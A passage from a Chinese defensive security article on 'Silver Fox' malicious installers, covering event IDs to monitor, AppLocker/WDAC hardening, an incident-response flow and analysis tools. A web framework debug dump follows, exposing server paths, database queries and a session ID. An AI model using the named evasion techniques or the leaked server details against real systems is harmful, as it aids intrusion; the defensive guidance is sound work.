Event ID 4688 (进程创建)
Windows Security
msiexec.exe 加载非常规 DLL
Event ID 7 (ImageLoad)
Sysmon
CustomAction 注册表写入
Event ID 12/13/14
Sysmon
安装过程中创建网络连接
Event ID 3 (NetworkConnect)
Sysmon
安装目录创建可疑文件
Event ID 11 (FileCreate)
Sysmon
安装后自动启动项
Event ID 13 (RegistryEvent)
Sysmon

7.3 防御加固方案

7.3.1 邮件网关层

1. 拦截附件中的 .msi .exe .scr .pif .bat .cmd .vbs .js .wsf 文件2. 对 .zip .rar .7z 等压缩包附件执行内容检测3. ISO/IMG 文件标记 MOTW(Mark of the Web)4. 禁用 Office 宏自动执行(组策略控制)

7.3.2 终端防护层

# 1. AppLocker 策略 — 禁止非签名 MSI 安装# 执行: secpol.msc → 应用程序控制策略 → AppLocker# Windows Installer 规则:#   - 允许: 发布者 = *O=Microsoft Corporation*#   - 允许: 路径 = %WINDIR%\Installer\*#   - 拒绝: 所有人# 2. WDAC (Windows Defender Application Control) 策略# 更细粒度的代码完整性控制New-CIPolicy -FilePath "C:\CI\block_unsigned_msi.xml" `    -UserPEs -Level SignedVersion -Fallback Hash# 3. 限制 msiexec.exe 执行权限# 对非管理员用户限制 msiexec /i 执行icacls C:\Windows\System32\msiexec.exe /deny "Users:(X)"

7.3.3 网络层

1. 监控 msiexec.exe 的出站连接(Sysmon Event 3)2. 异常 SNI 检测(非标准域名、IP直接连接)3. 沙箱检测安装包的行为基线

7.3.4 针对银狐安装包攻击的专项防御

攻击面
防御措施
RAR SFX
监控 WinRAR 或自解压进程创建子进程;对 TempMode + 执行文件的行为告警
MSI CustomAction
监控 Binary 表提取的文件哈希;监控 msiexec 启动的非标准进程
白加黑
AppLocker 签名+路径双校验;监控同一目录下的 DLL 加载
文件头体分离
监控 bat/cmd 拼接 PE 文件的操作;监控 VBScript 写文件后立即执行
文件膨胀
SHA1/256 哈希缓存(而非仅传文件大小);云沙箱关闭大小限制
MZ头重建
监控 "MZ" 头写入新文件的操作;监控从文本读取16进制并转换的操作

7.4 应急响应流程

检测到恶意 MSI/EXE 安装包  │  ▼步骤1: 隔离受影响主机  ├── 断网 → 防止 C2 通信和横向移动  └── 保留进程内存(捕获无文件载荷)  │  ▼步骤2: 取证  ├── 提取 MSI/EXE 文件 → 计算哈希  ├── 使用 Orca/msiinfo 分析 CustomAction  ├── 提取 Binary 表中的 DLL/脚本  ├── 动态分析记录文件/注册表/进程行为  └── 检查内存中的反射加载模块  │  ▼步骤3: 清除  ├── 终止恶意子进程  ├── 删除释放的文件和服务  ├── 清理注册表持久化项  └── ⚠ 如果检测到内核级 RootKit → 建议重装系统  │  ▼步骤4: 溯源  ├── 分析安装包元数据(签名、时间戳)  ├── 关联同源样本(TTPs 匹配)  └── 提取 C2 域名/IP → 共享 IOC

八、附录:工具清单

8.1 安装包分析工具

工具
用途
地址
lessmsi
MSI 解包与表提取
GitHub: activescott/lessmsi
Orca
MSI 数据库编辑
Windows SDK
dark.exe
MSI → WiX 反编译
WiX Toolset
InnoUnp
Inno Setup 解包
GitHub: wwh1004/InnoUnp
isx
Inno Setup 解包
GitHub: piedar/isx
NSIS Unpacker
NSIS 解包
GitHub: redoste/nsisunpacker
Universal Extractor 2
通用解包工具
GitHub: Bioruebe/UniExtract2
Detect It Easy (DiE)
安装包类型识别
GitHub: horsicq/Detect-It-Easy
Exeinfo PE
PE/安装包识别
互联网
7-Zip
解压 CAB/RAR/7z
7-zip.org

8.2 动态分析工具

工具
用途
地址
Process Monitor (Procmon)
文件/注册表/进程监控
Sysinternals
API Monitor
API 调用监控
rohitab.com
Wireshark
网络流量分析
wireshark.org
FakeNet-NG
网络模拟
GitHub: mandiant/FakeNet-NG
Noriben
自动化沙箱
GitHub: Rurik/Noriben
CAPA
静态行为规则
GitHub: mandiant/capa
RegShot
注册表快照对比
SourceForge
基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-21 15:49:46 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/865952.html
  2. 运行时间 : 0.195556s [ 吞吐率:5.11req/s ] 内存消耗:5,068.69kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=b885eb8ad3919b815b45e9b72cbe7770
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000740s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000867s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000386s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000305s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000609s ]
  6. SELECT * FROM `set` [ RunTime:0.000280s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000601s ]
  8. SELECT * FROM `article` WHERE `id` = 865952 LIMIT 1 [ RunTime:0.009154s ]
  9. UPDATE `article` SET `lasttime` = 1784620186 WHERE `id` = 865952 [ RunTime:0.038647s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000393s ]
  11. SELECT * FROM `article` WHERE `id` < 865952 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000558s ]
  12. SELECT * FROM `article` WHERE `id` > 865952 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.002781s ]
  13. SELECT * FROM `article` WHERE `id` < 865952 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001228s ]
  14. SELECT * FROM `article` WHERE `id` < 865952 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.009830s ]
  15. SELECT * FROM `article` WHERE `id` < 865952 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.034589s ]
0.197289s